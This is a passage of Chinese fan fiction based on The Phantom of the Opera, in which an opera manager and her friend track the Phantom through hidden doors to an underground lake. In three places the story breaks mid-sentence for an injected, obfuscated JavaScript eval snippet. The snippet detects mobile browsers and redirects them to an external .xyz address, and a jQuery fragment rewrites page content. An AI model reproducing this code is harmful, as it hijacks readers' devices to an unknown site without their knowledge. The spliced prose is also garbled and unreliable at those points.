她诚恳地看向自己的挚友，显然是将这当成了正经事来对待。 “真的不用。” “如果能把这些箱子都收到房间里去，我想我们的客厅并不算小。” 达茜满脸我才不相信的样子。 事实上，莫琳说的不算假话。 夏朗顿路在早些年间就以圣母感育英国女修道院之地而闻名，现在居住的多是富有的外国女性，而这栋十七号公寓，又尤其受这些富有的年轻女士们青睐。 她所居住的套间位于公寓楼顶层，并且房东将顶层所有的房间都打通合并在了一起，所以并不存在空间狭小的问题。相反的，如果和十七号公寓其他的租户相比，她的地方毫无疑问是最宽敞的，也是租金最昂贵的一间。 那位小舞女，克莉丝汀租不起这地方，事实上她一年的工资都不够租下这地方几天的。歌剧院的前首席卡洛塔夫人也租不起这地方，她住在和这儿隔了两条街的巴德公寓里，而登上《巴黎美人》封面的交际花也只能勉强付得起这里三楼的房租。 可就算巴黎一半以上的人都只能对这里的日租望而兴叹，十七号公寓还是免不了遭到了海伍德小姐从头至尾的嫌弃。 莫琳早就预料到了现在的情况，她解释道：“我在巴黎没有置产，如果你实在住不习惯这儿，可以去海伍德远亲那边的庄园，那儿也许会更合适一些。” 她记得海伍德家有不少人在巴黎拥有私宅，只不过大多数时候都空置着，大概是有定期请人清扫的，作为暂时的落脚地还算合适。 “我才不要，我这次可是应你的邀请才来的巴黎，当然要和你住在一块儿。”达茜瘪瘪嘴，直截了当地拒绝了她糟糕的提议。 ”莱斯曼，他们不承认你吗？”她又问。 听她突然抛出这个问题，莫琳罕见地沉默了一会儿。 “是我的错，我不该问你这个的。”，达茜发觉自己说错了话，连忙找了个话题想要胡塞过去：“我在楼下看到你有个漂亮的露台，我们可以去那儿喝茶。” “没什么好避讳的，”莫琳接上她的话尾。 严格来说，这是莫琳来到巴黎以后第二次被问到和莱斯曼家族的关系。可这句话从一个陌生记者的嘴里问出来，和从自己至交好友的嘴里问出来，却是截然不同的感受。 “虽然是一个姓氏，但他们是法国的莱斯曼，而我是英国的莱斯曼。事实上，原本的坎贝尔也和他们没什么关系。”莫琳宽慰她。 达茜不再做声。 也许巴黎这边的人们不清楚莫琳的身世，但她知道，莫琳原来的名字是莫琳.坎贝尔。 莱斯曼的姓氏是莫琳后来改的，为了她的母亲。即使她的生父还活着，但他背叛了对莱斯曼夫人忠贞不二的誓言，他已经配不上当年那位年轻的小姐毅然决然和家族决裂的勇气了。 “这个已经不重要了”，莫琳将半颗破碎的绿松石放在门口的矮桌上，郑重其事地说：“茜茜，我现在需要你的帮忙。” 海伍德不是那种在巴黎街上随处可见的无知贵族小姐。 海伍德家族给了她智慧的头脑，也教会了她运用知识的方式。 达茜从小就喜爱推理游戏，更热爱冒险，即使大多数的旅程都是拿莫琳打着借口进行的出逃，但那不能改变她所获得的丰富经验。达茜擅长掩盖痕迹，擅长躲开追踪，甚至留下误导追踪者的线索。相同的，她自然也就擅长追踪别人，嗅到逃亡和隐匿的痕迹。 在这些方面，莫琳自愧不如。 所以，这次她决心要让达茜替她找到这个影子。 “所以，这盏水晶灯有伤到人吗？” 在听完莫琳简短的陈述后，达茜暂时将那位幽灵先生丢到一旁，首先关心起剧院的伤亡情况。 “那时候刚好在换幕，所以演员们只是轻微擦伤。但是负责剧幕升降的工人...管理员在后台的角落里找到了他的尸体。” “很遗憾听到这个消息”，达茜将手放在胸前，向她委婉地表示了自己的哀悼，转而问道：“我能看一看吗？” “恐怕不行”，莫琳摇了摇头，“他的家人悲痛过度，在把尸体接回去之后拒绝了我们所有的探视。不过，我敢确定的是，他是被绳索勒死的。他脖子上有道十分醒目的勒痕” “据我的演员们说，这个幽灵最擅长的就是使用旁遮普套索杀人。”莫琳补充。 达茜低着头思考：“将自己视作剧院主人的幽灵，不仅对你的演出妄加评判，还是个使用套索的好手，这案子的分量足以交给巴黎总局的警署去审，你居然交给我？” 她卷曲的长睫毛垂下，遮住了眼里兴奋的光。虽然对手是强大且神秘的杀人犯，但这些特质同样为案件增添了挑战性，对达茜而言，没有挑战的世界意味着失去了乐趣。 “不能让他们插手。如果让警署知道，歌剧院的首演必定会被取消，那么我的损失将会难以估算。”莫琳回答。 “你不必去找什么推论罪名的证据”，莫琳提醒自己的好友，“我不想让你陷入危险里，达茜，只要让我知道他的藏匿处就好。” 达茜听到这话，忍不住抱怨道：“莱斯曼小姐，我得提醒你，即使你这么说，但这仍然不是个简单的活计。据我所知，你的歌剧院里足足有两千多道门和七千多把钥匙，就算我不吃不喝地工作，恐怕也查不完所有的地方。” “当然，我会调遣剧院的一部分员工供你差使。另外，你也会得到与市面上最高价位的私家侦探同等的报酬。” “考虑一下我的提议吗？海伍德小姐？” 得到理想的答案，达茜这才矜持地回握了一下莫琳向她伸出的手：“合作愉快。” 克莉丝汀已经在房间里两日未出了。 吉里太太拦下了所有试图探视她的朋友，只说她是在静心准备三日后的首演。自从目睹过预演时候那场癫狂的闹剧，吉里太太就明白——幽灵先生回到他的剧院了。 可事实上幽灵并未再找她。 克莉丝汀对此感到惶恐不安。自从她答应用灵魂交换歌声后，除了偶尔入梦的指导，导师一次也未曾来过这里。他似乎知道了什么，待她也不再如同以往那样亲近。 这本该是好事，意味着克莉丝汀有了脱身的可能，可她不知为什么，又对此感到怅然若失。她不知道预演那日被送到莱斯特小姐手上的警告信，自然也就不会将那位工人的离奇死亡和幽灵先生联系起来，如果她知道，恐怕就不会再怀有此刻的心情。 她期盼的人没有来过，却有不速之客找上了门。 吉里太太能替她拦下其他所有人，却拦不下经理的朋友。据她所说，这位海伍德小姐近期一直在剧院中勘探，似乎是在预演那天在混乱中弄丢了一件价值不菲的珠宝。 “请问我有什么能帮忙的吗，海伍德小姐？”克莉丝汀忐忑不安地看了一眼站在门口的女士，替她搬了一张椅子。 达茜盯了她好一会儿，确认面前这个纤弱的女孩儿和她的同伴们所描述得几乎一致，拥有令所有人羡慕的漂亮脸蛋和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018808|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动人声音。当她坐在她面前做询问时，甚至会不自觉将自己代入到欺凌弱者的严肃反派角色。 她清了清嗓子，问：“你的朋友们说，常常看见有剧院外的人出入你的房间，是这样吗？” “您是说劳尔和他的朋友吗？他是剧院的赞助人...我们曾经是童年的玩伴...” “我不是在指子爵先生”，达茜打断她，“是位穿黑色大衣的先生，他戴着面具”。 克莉丝汀的脸霎时白了，她没想到达茜这么快就知道了他的存在。 同时，她的反应证明了达茜的探寻方向完全正确，达茜不由自主地弯了嘴角。她就知道该先从剧院内部的人下手，除了吉里太太以外，这位幽灵一定有别的眼线散布在这座剧院里。她们和他的接触时间足够长，从她们的嘴里得到答案会是最迅速快捷的办法。 可面前这位单纯的女孩不知道她们的目的，她急于为自己的导师开脱罪责： “小姐，他不可能会拿你的珠宝！他从不去观众席上，我了解他，他对这些东西不感兴趣。”她有些语无伦次。 “那就是说，的确有这么个人了？” 达茜盯着克莉丝汀的脸，没有放过她脸上任何细微的表情。这条线索来之不易，剧院的人不知道为什么都对此缄口不言，她花了很大一番工夫才从一位小舞女的口中套到话。 她继续问：“这位先生住在哪？你们最后一次联系是什么时候？原谅我问得直白了些，但毕竟他有重大的作案嫌疑。那枚祖母绿胸针可是海伍德家的信物，我不能来一次巴黎就将它丢了。” 对于达茜的怀疑，克莉丝汀是半点也不相信的。幽灵先生虽然从没在她面前摘下过面具，但他的每次现身无不是穿着考究，至于他使用的那块怀表，更是少见的珍藏品，这样的人没可能需要觊觎海伍德小姐的一枚胸针。 可这些她都没法说出来。 “我...”大概是没受过这样严厉的盘查，克莉丝汀脸上的血色都褪尽了，她用求助的目光看向吉里太太，企求对方能伸出援手。 “不用看她，吉里太太向你们的经理承诺，会协助我尽快找回胸针。”达茜说。 吉里太太就站在边上。她看上去欲言又止，但最终还是没有发话。 发觉吉里太太真的没有插手的迹象，克莉丝汀丧气地垂下了头，她说：“八月三日，小姐，就在预演前一天，在那之后我就没见过他。至于他住哪儿，我真的不知道。” “那么你们平时在哪儿见面？” “舞台布景间隔壁，那里一直放着半空的道具架。”她撒了个小小的谎，她只是在这个地方碰巧看到过一次幽灵先生的背影，之后就再也没有了。 无论如何，伊奎恩丝也说不出口—每次和幽灵先生的见面都是在她的房间里，这对她的声誉将会是个致命的打击。如果让劳尔知道，那就是她亲手葬送了他们俩的未来。 “感谢你的配合，克莉丝汀。我相信根据你所提供的线索，胸针很快就能被找回来。”达茜朝她露出一个礼貌的微笑。 在离开她的房间后，达茜没有浪费时间，立刻根据克莉丝汀的描述找到了她所说的地点。 舞台布景间的门口遗留着几道拖痕，隔壁果然摆放着高大的骑象道具。达茜摸了摸骑象的表面，上面落着一层薄薄的灰。这地方应该有一段时间没人来过了。 周围没有其他值得注意的物件，于是达茜叫了人帮忙将道具挪开，骑象背后什么也没有，是一堵坚实的墙。她伸手在墙壁上四处敲了敲，果然发现了中空的声音，如果用手摸的话，就会发现有一道隐门。 好在莫琳提前给她调遣了手下。达茜没有料到，几个身强力壮的工人同时发力，才堪堪将那堵石门推开了一道可供单人侧身而过的缝隙。 隐门后边是一条长长的甬道，由于里面光线稀薄，几乎看不见头。碍于空间狭隘，达茜没有带人，独自走了进去。 就在她步入这片黑暗的片刻时间，身后就传来了沉重石门摩擦地面的声音。她能听到外面几个工人惊慌失措想要重新将门打开的举措，但显然都是徒劳的。 达茜的心脏急促地跳动着，在这个狭窄寂静的甬道里显得格外突兀。 不知道多久以后，她在黑暗的空间里数着自己的脚步声，终于走到了这条路的尽头。 ——又是一道门。这扇门被反锁着，旁边开了一扇窄窄的，大约三英寸宽的小窗。 达茜透过窗户观察了半天，在反复确认外面没有人以后，终于打开窗将自己的胳膊伸了出去，朝门那边摸索。 她在门上摸到了一把冰凉的钥匙。 此刻达茜的心如坠冰窖。 她安慰自己，其实有不少人会在锁门后将钥匙留在锁孔里，借此来防止外面的人撬门。可不知道为什么，她此刻就是怎么也说服不了自己。 一切进展得太过顺利，顺利得让达茜觉得自己就像被人在脖子上套了绳，一步一步地引向猎人布置好的陷阱。 但是走到这里，她已经不再有回头的机会了。 “咔”，门开了。 5. 黑湖 门后是空旷的房间。房间中央摆了一把椅子，椅背上搭着一件男式的大衣。 达茜将衣服拎起来，仔细地翻了翻内里和外缝的四个口袋，摸出来了一副白色的半脸面具，以及一只铜胎的鼻烟盒。 空气中残余着烟丝的味道，椅子的软垫上还留有余温，那位先生刚刚离开。 他是故意的。 达茜断定，这里还会有下一扇门。 但他留下的东西足以使达茜断了继续走下去的决心。对方已经发现她，继续勘查下去无疑是自寻死路。她取走那只鼻烟盒，原路返回最初的那道暗门。 她打开门的时候，外面黑压压站了一片人。 莫琳就站在人群的最前面。 达茜被他们的阵仗吓了一跳，问：“你们都围在这里干什么？”。 “你再晚一刻出来我就要冲进去了！”莫琳快步上前抓住她的手，将她从头到脚检查了一遍，确认她没有受伤后才开口：“为什么不带人一起进去？如果你遇到什么事，我该怎么和海伍德家的人交代？” “弄了半天，原来你关心的是怎么和我母亲交代”，达茜和她打趣，想让气氛轻松一点。她摆摆手，让人群散开避让她。她故意越过看热闹的人，拔高声音埋怨：“里面什么也没有，又脏又乱，不知道荒废了多久，害得我白走了那么多路。看来我的胸针不在这里，真是没劲！” 说完，她示意边上的人将道具骑象挪回原位，然后拉着莫琳走了出去。 一直等走到四遭无人的地方，达茜才把从大衣口袋里找到的鼻烟盒递给莫琳。 达茜凑在她耳旁，低声说：“他发现我们在做什么了。” “怎么回事？” “你的女高音在骗我”，达茜不满地向她投诉：“她说八月三日是他们在这里的最后一次见面，可道具上落的灰绝不是几天所能造成的，这道门起码得有一两个月没人开过。可奇怪的是，那个幽灵故意在那里留下了线索。我到的地方决不会是最后一道门，他是在通过克莉丝汀将我们引入圈套，又或者是他打算亲自与你谈判。” “无论如何，你的女高音不可靠，我想，她和这位杀人犯的关系可能比吉里太太更为亲近。” “是吗？”莫琳打量了几眼那只鼻烟盒，没看出任何与众不同的地方，这就是市面上随处可见的款式，连最简单的鸟兽图案也没有。 “既然他都替我们把路铺好了，我总该应邀。”她想了一会儿，说。 事情发展到这里其实已经超出了她的掌控，前面的危险显而易见。对手不是寻常只求牟利的狡诈商人，而是将人命视作地上泥石的杀人犯。但就这么让她放弃，莫琳不甘心。 “最坏的结果不过是每个月多了份隐形支出，如果他所求更多，我不介意付更多的钱来扫除这个麻烦。”莫琳将那只鼻烟盒攥在手里。 达茜听出了她话里的意思，警告她： “作为朋友，我提醒你，根据那件大衣的尺寸，那个幽灵的身高大约在六尺五以上，推开那道暗门需要的力量则约等于三名成年男性。你不能低估你的对手。如果真的要应邀，起码带上五个人随行。” “我明白了。” 剧院仓库里。 老沃特站在废弃的铁皮箱上面，朝底下的人中气十足地吼道：“经理需要五个工人，手上没有活的，现在和我走！” 没有几个人附和，却响起了不少七嘴八舌的闲聊声，大多数都在和旁边的人议论最近发生的几件事。 “突然找上我们准没好事。”其中一个戴着菲比帽的工人说。 他的话像是打开话题的钥匙，后面许多人蜂涌着赶上来插上几嘴：“谁知道这位经理究竟想要干些什么？我只是想喂饱家里几个孩子而已，可不想惹麻烦。” “她请来的那位贵族小姐都快把剧院翻了个底朝天。昨天，据说还在布景间的隔壁搜出了一扇暗门。老天，我在这里干了三年的活也没发现。” “她找的到底是那枚胸针，还是别的什么东西，谁知道呢？” “他们该不会实在找那个幽灵吧？”有人突然提到：“会不会预演那天的事故就是它干的。” “别瞎说！”旁边的人连忙捂住了他的嘴。 周遭顿时安静下来，没有人再敢提到那位令人忌讳莫深的人物。不，他们连它究竟是个什么东西都不清楚。 这下更没有人敢陪着他们的女经理去送死了。 老沃特看着底下这群人，拧着眉毛，朝地上吐了一口唾沫，骂道：“都是些没胆量的东西！既然没人主动，那我就直接点名了！” “山姆！费奇！刚才那个戴帽子的！布莱克，还有你！我想想....”他挠了挠头发。 “哦对了，奥斯顿！”他的目光最后落在一个人身上：“奥斯顿.克罗宁！你们五个，和我走。” 最后一个被点到名的男人应声从人群里走了出来，手上还没来得及放下刚才用的那把扳手。 他穿着由于浆洗多次而发白的工作服，安静地站到了另外四个人旁边，他的袖子被挽到手肘处，露出结实的小臂肌肉。 所有工人的目光都落在了他身上。 被点到名的其他人本来正畏缩着不愿意走出人群，这下却突然安心了不少。如果是奥斯顿......奥斯顿在的话，应该不会有什么危险。 “这几个都是干活的好手！”老沃特将五个人领到布景间，将站在最后面的奥斯顿热情地往前一推，说：“尤其是他，克罗宁家的小子！虽然脑子不见得太好使，但浑身都是力气。” 莫琳正准备把达茜为她准备的袖珍刺刀藏进袖子里。听到老沃特的话，她抬头瞟了一眼被推出来的年轻男人，朝他点了点头。 男人瞧见她的动作，微怔了片刻。他很少接触女人，更别提是上流社会的女人，所以他并不清楚现在的女人都是什么样。他常常与男人打交道，克罗宁家没女人，但有五个儿子，打开门都是翻滚汹涌的男性气息。可往自己衣服里藏凶器的，男人女人之间，他都是头一回看到。 “你跟在我后面。”半晌，莫琳终于将刺刀藏进了合适的位置，头也不回地向前走去。宽大的裙摆被她提起来随意折了几折，然后扭身消失在了被挪开一道开口的隐门后边。 奥斯顿立刻跟了上去。 依照达茜说的话，莫琳将她昨天的路原样重新走了一遍，最后来到了那间被留有线索的房间。 椅子上的大衣已经被人收走了，那把红丝绒的椅子就这样孤零零地伫立在房间正中央，不知是留给谁用的。 莫琳吩咐几个人将整间房都完完整整地搜上一遍，连缝隙也不允许放过。达茜告诉过她，这里还会有别的出口。 最终，一个叫做费奇的工人发现了角落里松动的砖石。他有些粗鲁地往上踹了一脚，那些砖石就接连地崩塌下去，在半人高的位置露出狗洞大小的空隙。 他往外看了一眼，那边被黑暗笼罩，只能隐隐约约反射出星点这边的光亮。这个高度过于尴尬，一个人很难凭借自己的力量翻越过去。 他骂了句脏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018809|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话，说：“这他娘的不是羞辱人吗？” 还没等莫琳发话，也没等五个人商量谁先去探路，年轻男人突然上前，利落地扛起费奇的半边身体，以一种极其野蛮的方式将他送出了那个空隙。 对方甚至来不及挣扎就落了地。 不，他们还没思考过那边没有地的可能性。 “扑通”。 外面传来了重物落水的声音。 几个人面面相觑，一时都忘了说话。 这一切实在发生得过于迅速，费奇连呼救的声音都没来得及发出。奥斯顿站在原地，脸上仍然没有任何表情。 “快救人啊！”布莱克率先反应过来。 他慌乱地想要上前施救，却不知道从哪里着手，最后只能整个人滑稽地挂在费奇掉落的缺口处。奥斯顿没有说话，只是冷冷地扫了他一眼。 感受到对方的目光，布莱克紧张地缩紧了身体，缓慢地从缺口处退了出来，恨不得将自己埋到地缝里去。他的眼神告诉布莱克，这个时候做出头鸟，很有可能让自己成为被扔下去的第二个人。 莫琳在旁边目睹了这一切。她先是警惕地看着对方的动作，又逐渐放下心来，转而对他产生了轻微的信任。老诺特算是个靠谱的手下，终于没再给她全介绍些废物。他说他叫什么来着？莫琳想了半天也没记起来他的名字，只想起老诺特说他是克罗宁家的小子。 这时候需要有人出来充当他们的主心骨，不然这几个人就快被这个姓克罗宁的吓破胆了。 “不想白白送命的话就老实在原地待着。”莫琳站出来说。她越过挡在她前面的年轻男人，走到缺口的墙沿边观察。外面是一片深不见底的黑湖，而刚才那星点的光亮，正是由湖面反射出的误导人的幻象。 她侧过头，努力拓宽自己的视野范围，发现并不是完全没有出路。 他们所在的位置是临湖一面的高墙，只要出去，就不可避免落水溺毙的风险。谁知道水里藏着什么？毕竟费奇，那个刚刚作为试验品掉下去的人，连一点声音都没能发出。湖水似乎彻底吞噬了那条鲜活的生命。 可是右手面，在湖的另一边，却有片给她带来希望的陆地。那地方似乎是个泊船港口，还修了半段可容人站立的栈道。——刚才那个是错误的出口。 莫琳赶紧让其他人开始寻找别的机关，他们不可能被困死在这里。可是没有，四面墙都被搜了个遍，除了他们进来的那扇门，没有发现别的出口。 “我可以过去。” 从刚开始到现在一直保持沉默的男人突然开口。他的声音和本人气质并不相符，透着浓浓的稚气。莫琳看到他下巴上一截浅青色的胡茬，估计他才刚成年不久。 然而他的回答并不能使她满意，她没想再让多一个人去送死，尤其是这里看上去最有用的人。莫琳拧着眉毛，没有理会奥斯顿的建议，她仍然觉得自己看漏了什么线索。 “我没开玩笑”，察觉她的不满，奥斯顿继续说：“下面的外墙并不是光滑的，有可供攀爬的空间。只要掌握技巧，我可以在岸口那边找到着陆点。” 听完他的话，莫琳的眉头略微舒展了一些。但这依旧不是她理想的方案，她停下动作，向他发问：“就算你能做到，那么我呢？这样东西很重要，我需要亲自去拿。” 周围的人吸了口气。他们倒是不知道这位女经理还有亲自上阵的打算。 到底是那位小姐家丢失的珠宝真的贵重到这个程度，还是为了解决剧院里别的什么东西，他们此时也分辨不清了。 6. 窥视 男人被她的要求困住，又重新沉默下去。与此同时，莫琳顺着他的话，低头打量了自己一番。即使今天为了活动方便，并没有穿着什么过于复杂的服饰，可要她挽着垂到脚踝的长裙，踩着带跟皮靴去攀爬一堵不知道风险的高墙，这无疑是不可能做到的事。 奥斯顿不忍心看她低落的面容，开始思考起来带上一位女士攀爬的可能性。虽然他对自己的身手有足够的信心，可对她却没有，她是个与他而言全然未知的变量。 他听到他在违背自己的大脑发出声音：“莱斯曼小姐，如果您不介意......不介意我的冒犯，我想我可以绑一根绳子带您下去。” 周围人用看疯子那样的眼神看向他。 如果在场的换做是任何另外一位贵族小姐，恐怕他会因此被对方押送到警署去。 可这种情况在此时此地却不会发生。因为对方是莫琳，不受名声束缚的莫琳。 她很快领会到他的意思，现当下也的确只要这个冒进的方法值得一试。她从裙子上用来装饰的系带穗中抽出一条看上去最为结实的，将其中一端绑在自己的腰上，另一段则递到奥斯顿手中。 “就那么办吧！”莫琳说。 她还不忘面露威胁地恐吓其他人：“你们清楚说出去的后果”。 莫琳知道，仅凭她的这么一句话很难锁住所有人的嘴巴。不过这时候孰重孰轻她分得很清楚，名声能值几个钱？能卖了给歌剧院里的人发工钱吗？ 奥斯顿没料到她同意得如此迅速。他看向自己摊开的手掌，里面静静躺着从女式长裙上取下的绳结，她就这么把性命轻易地交到了自己的手上。 他不知道该对这份突如其来的信赖感到喜悦还是恐惧。 可莫琳根本没给他留下反应的时间。她不耐烦地摇了摇绳子，示意他赶紧带自己下去。 奥斯顿只得接过那段看起来并不十分牢靠的绳索，敛下心神，开始谨慎地翻越那道缺口。 他身手利索，动作十分轻巧。很快就轻盈地越了出去。 然而绳索另一端的人就不一样了。最开始的几步对莫琳来说尤为困难。她平时疏于锻炼，更不曾有过什么攀爬的经历。光是越过那道残墙上的缺口都费了她不少力气。 当她还苦着脸努力将自己的裙子塞得更紧实一点的时候，奥斯顿已经在外面的墙垣上找到了合适的落脚点。他目不转睛地盯着莫琳，沉默地等待着她踏出滞空的一步。 在莫琳探出半边身体后，他放弃从墙体上借力，悬空抬起胳膊，摆出一个守护者的姿态。 女人半撩起碍事的裙摆，大腿紧张地贴住外侧的墙体。在终于安全地将自己挪出去后，莫琳踉跄着摔进一个坚实有力的怀抱，她娇嫩的脸颊与对方粗糙的浆布外套不可避免地来了次亲密接触。只是莫琳还来不及站稳，就因为看见对方的姿势而忍不住破口大骂：“快抓回去！” 他随时都有可能因为重心失衡而坠落。 “就算你不在乎自己的，但我的命却值钱到你打十辈子的工也换不来。如果今天我们掉下去了，我保证你的家人会在监狱里度过余生！”她的双颊因为气忿而泛红，吐出的字字句句都如同蛇的尖牙那样淬着毒。 “我记住了。”奥斯顿在心里回答她。 他开始托着莫琳缓慢地下移，每走一步，都要重新测量距离，并且观察墙体的湿滑程度。毫不夸张地说，这比在刀尖上行走更加困难，尤其是在带了一位女士的情况下。 奥斯顿不知道自己为什么会说出那样糟糕的提议，那句话简直陌生得不像从他嘴里冒出来似的。他究竟是为了什么？为了得到新任经理的青睐？还是为了莱斯曼小姐的亲近？ 主语对象一旦发生改变，结果就是天差地别。 他心里装着别的事情，没注意到下方的窗沿上斜插着一段尖锐的断矛，在向下攀爬的过程中，铁刃轻而易举地划开了人类脆弱的皮肤，带走提供生机的血液。那一瞬间奥斯顿差点没忍住痛呼出声，最后却还是努力将痛苦的声音堵在了嗓子眼里。由于过度用力，他的指甲抠进石缝里，墙体逐渐渗出斑驳的血迹。 莫琳半倚在奥斯顿的臂膀里，视线被男人宽阔的胸膛所完全遮挡，自然不知道刚才发生了什么。她能感受到有一股似有似无的铁锈腥气传入她的鼻腔，却什么也没有说。 两个人在一片沉默中落地。 由于奥斯顿这个变数，他们选择了一扇错误的门。 不知道隐匿在何处的幽灵发现了他们“作弊”的行为，他似乎很不满意对方没有按照他设想的轨迹行动。在对方妄图要踏入自己的领地时，‘他’开始警告这两位扰乱规则的擅闯者： 然而他没有说话。 替他表达警示的是远处踏水而来的一匹马。 是匹通体黑色的骏马，鬃毛油光水滑，奔跑起来如同流动的绸缎，一看就是被人精心照料的。可奇怪的是，这匹马身上并没有任何马鞍和坐垫的影子，它背脊上的线条流畅，和田野里那些自由的野马没什么区别。 它在他们身边缓步停下，冲着奥斯顿嘶鸣出声。 莫琳看向它，发觉它正不耐烦地飕飕摇摆着尾巴，后腰下沉，摆出攻击的姿态。 奥斯顿浑身紧绷地站在她身后，像一只将要离弦而发的弓箭。 “你留在这里。”莫琳深吸一口气，很快做了决定。 她早该料到这一步的，那个幽灵就是在看着他们走到这里。他绝不会允许自己带着任何变数走进他的领域。 当然，照他说得做也并不是全无好处。至少能确保自己的工人能不遭她连累。 剧院不能再死人了，倘若自己到时候带着两具尸体回去，莫琳不知道该怎么面对老沃特。 奥斯顿却并不赞成她的决定。他俊朗的五官纠结地皱在一起。让这样一位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018810|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年轻脆弱，稍稍用力就能碾碎的贵族女性深入魔鬼的地界，这绝对不是什么好主意。没有任何一位绅士会让女士走在自己前面。 可问题他不是。 他没有能堂而皇之挡在她面前的绅士身份，他生来是下等人，是只能选择遵从主人命令的奴隶。 莫琳不知道自己身后的人在想什么，她在忙着检查自己的武器。 等她确认了袖子里的刺刀好好地待在原位，莫琳这才重新感受到了自己心脏的跳动。她解开将自己和奥斯顿的命运绑在一块的绳子，丢在地上，独自向那段栈道走去。 身后的人目视着她离开，手臂上的伤口已经结出了血痂，像道胜利徽章刻印在皮肤上。 岸边静静停放着一艘贡多拉摇船。 船身小巧，全漆黑色，旁边立了一根细长的撑杆。 岸边无风，水面无澜，空气似乎就要凝固在片潮湿黏腻的地下牢笼里，像一片半涸的沥青那样，沉默而缓慢地将人往下拉。 她站上船，用撑杆轻轻将船体推离，任由自己潜进前方那片无边的黑暗里。 在快要抵达湖心的时候，莫琳的手臂已经酸痛得难以继续发力了，脚下木板上残余的污水随着船身摇晃而逐渐浸湿她的鞋袜和裙摆，湿答答地贴在皮肤上，让人十分不舒服。 莫琳鲜少坐船，更没做过自己撑船这种事。 这片黑湖看不见边际，莫琳在这里感受不到时间的流逝，甚至有种自己现在已经离开歌剧院，到达某个城郊的荒地的错觉。她在心里祈祷这个疯子该不会那么消息闭塞，想通过绑架自己来向莱斯曼勒索钱财。 不知道多久以后，船身似乎触礁，被什么东西往后推了一推。莫琳避之不及，被反作用力带倒，整个人栽坐在船上。 又过了很久，久到她都想要离开的时候，有人打破了这片沉寂。 “欢迎，莱斯曼小姐。”他在远处轻轻笑了一声。 这是莫琳第一次听到幽灵的声音。 与她所设想的十分不同，对方说话的语调如同弓拉琴弦，低沉而极富有魅力，甚至比她剧院中男低音的演出更吸引人千百倍。男声回荡在黑暗中，密不透风地包裹住她的每一寸皮肤。 “我们终于见面了。” 这个地方的黑暗漫无边际，她的眼睛彻底失去了作用。她失去视觉，其他四感被无限度地放大。 那个幽灵似乎在朝她走过来，与她近在咫尺。 不，要比这更近，她好像能感受到他的呼吸拂过自己的脖颈。 他的呼吸是凉的。 怎么会有人的呼吸是凉的？！ 莫琳猛地反应过来，寒毛直立，她的第六感告诉她要逃。 人的祖先进化多年，对危机不断上升的敏感程度使他们躲过千百次的自然洪灾，也躲过同类之间的自相残杀。 可是很显然，莫琳的第六感来得太迟了。 7. 面具 “如愿以偿了吗？莱斯曼小姐？终于找到了幽灵的藏身之处。”那个声音说。 莫琳想，他说得好像是自己非要来擅闯私宅似的。可明明是她被逼到了这个地步。 她咬着牙腹诽，没忍住打了个喷嚏。刚才那一摔使她大半衣衫都浸了水，正在源源不断地带走她身上本就残余不多的热量。 知道对方绝没有打算来帮自己一把的意思，莫琳只好一边牙齿打颤，一边强撑着站起来往岸上走。这个幽灵把所有的蜡烛都灭了，仅仅靠着他忽远忽近的声音来引诱自己前行。 岸上并不平坦，莫琳没走两步就被自己累赘的裙摆给绊倒了。 她的膝盖重重磕在石砖上，不用看也知道会留下怎样悲惨的乌紫淤青。疯子，莫琳在心里暗骂。如果叫她看见这个幽灵的样子，必定会用最写实的笔触画下他每一根头发，让巴黎所有的警署与私家侦探都知道，断绝他所有逃亡的后路。 她边揉着自己的膝盖，边在嘴里絮絮叨叨地骂着，全然放弃了要站起来的想法。即使摸着黑继续往前走也看不见任何东西，莫琳干脆用长裙的裙摆给自己铺了层垫子，大咧咧地岔起腿坐了下来。 估计是没料到她会放弃得这么快，对方的声音似乎又离得近了一些。 “我倒是不知道，莱斯曼家的人有这种习惯坐在地上的爱好。”他轻蔑地说，“您可一点儿也不像位贵族小姐。” “听起来你的情报不怎么靠谱”，莫琳丝毫没有被他阴阳怪气的态度所激怒，反倒捏着嗓子用同样的方式回敬他，“我也不知道幽灵还会有这么见不得光的......情趣，如果你觉得自己那么见不得人的话，还邀请我来这儿做什么呢？” “看来你还没认清自己的处境。” 话音刚落，莫琳感觉到自己的双肩被人牢牢扣住，片刻之间就被人强拖硬拽到了什么其他地方。这时候她的视觉终于回归，眼睛里亮起了一盏微弱的煤灯。 她立刻就想挣脱出对方的禁锢，然而那人的手似乎是什么坚硬的铁具，而非正常人类的血肉之躯，任凭她如何挣扎，连分毫都无法动摇。 莫琳挣脱不开，于是就想转头去看对方的脸。可就在她刚刚冒出这个念头时，一只冰凉的手掌贴上了她的后颈，捏住了她的死限。 